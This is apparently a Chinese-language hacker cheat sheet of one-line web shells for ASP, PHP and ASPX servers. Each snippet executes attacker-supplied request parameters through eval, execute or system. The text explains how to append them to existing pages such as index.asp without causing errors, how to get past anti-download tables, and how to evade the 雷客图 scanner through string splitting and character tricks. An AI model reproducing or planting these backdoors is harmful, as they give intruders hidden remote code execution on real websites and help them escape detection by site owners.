一句话
以下这个ASP一句话
<%If Request("1")<>"" Then ExecuteGlobal(Request("1"))%>
<?php ($_=@$_GET[2]).@$_($_POST[1])?>
上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如index.asp里面也是可以的!因为加了判断!
加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件的最底部不会出错!
<?if(isset($_POST['1'])){eval($_POST['1']);}?>
<?php system($_REQUEST[1]);?>
无防下载表,有防下载表可尝试插入以下语句突破的一句话
<%execute request("class")%><%'<% loop <%:%>
<%'<% loop <%:%><%execute request("class")%>
<%execute request("class")'<% loop <%:%>
备份专用
<%eval(request("1")):response.end%>
asp一句话
<%execute(request("1"))%>
php一句话
<?php eval($_POST[1]);?>
aspx一句话
<script runat="server">
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");
</script>
可以躲过雷客图的一句话。
<%
set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.ExecuteStatement("ev"&"al(request(""1""))")
%>
不用'<,>'的asp一句话
<script runat=server>execute request("1")</script>
不用双引号的一句话。
<%eval request(chr(35))%>